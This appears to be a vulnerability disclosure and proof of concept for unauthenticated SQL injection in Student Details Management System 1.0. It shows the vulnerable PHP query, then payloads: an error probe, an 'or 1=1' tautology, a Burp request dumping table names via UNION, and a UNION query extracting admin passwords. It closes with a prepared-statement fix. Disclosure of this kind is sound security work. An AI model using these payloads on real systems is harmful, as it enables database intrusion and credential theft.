xmyronn/cve-2026-10110-sqliProof-of-concept for unauthenticated SQL injection in Student Details Management System 1.0, demonstrating UNION-based data extraction and credential theft.
| Field | Details |
|---|
| Product | Student Details Management System |
| Vendor | code-projects.org |
| Version | 1.0 |
| Vulnerability Type | SQL Injection (CWE-89) |
| CVE ID | Pending |
| CVSS Score | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Authentication Required | No |
| Affected File | /SMS/index.php |
| Vulnerable Parameter | roll (POST) |
A critical SQL injection vulnerability exists in the index.php file of the Student Details Management System 1.0. The roll parameter passed via POST request is directly concatenated into a raw SQL query with no sanitization, input validation, or use of prepared statements. This allows an unauthenticated remote attacker to inject arbitrary SQL and perform UNION-based data extraction, dumping the entire database server including credential tables.
The vulnerability exists on the public-facing student search form, requiring zero authentication.
File: index.php (lines 51–59)
include('dbcon.php');
if (isset($_POST['show'])) {
$Standard = $_POST['standard'];
$RollNo = $_POST['roll'];
$sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";
$result = mysqli_query($conn,$sql);
Both $Standard and $RollNo are taken directly from $_POST with no escaping or parameterization. The attacker controls the roll parameter to break out of the SQL string context and inject arbitrary queries.
Navigate to the application home page and enter a valid roll number:
http://<TARGET>/SMS/index.php
Enter 1001 in the roll number field → application returns student records normally.
Enter a single quote ' in the roll number field and click SHOW INFO.
Result: MariaDB throws a fatal error exposing the raw SQL query and file path:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '"' at line 1 in
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59
Payload:
' or 1=1 -- -
Result: All student records in the database are returned without any valid roll number, confirming the injection is exploitable.
Burp Suite Request:
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded
roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO
Result: The name column (position 3 in the UNION) reflects back every table name across all databases on the MySQL instance — including admin, global_priv, users, mysql.user and credential tables from multiple other applications installed on the same XAMPP instance.
The dump reveals sensitive tables including admin, users, global_priv and tbl_admin from other databases on the same server. An attacker can extract credentials with:
roll=1' union select null,null,password,null,null,null,null from admin-- -
Combined with verbose error output (Step 2), full file path disclosure is also confirmed:
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php
admin table dumpUse prepared statements with bound parameters:
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();
Additionally, disable verbose PHP/MySQL error output in production by setting display_errors = Off in php.ini.
Researcher: Imad Alvi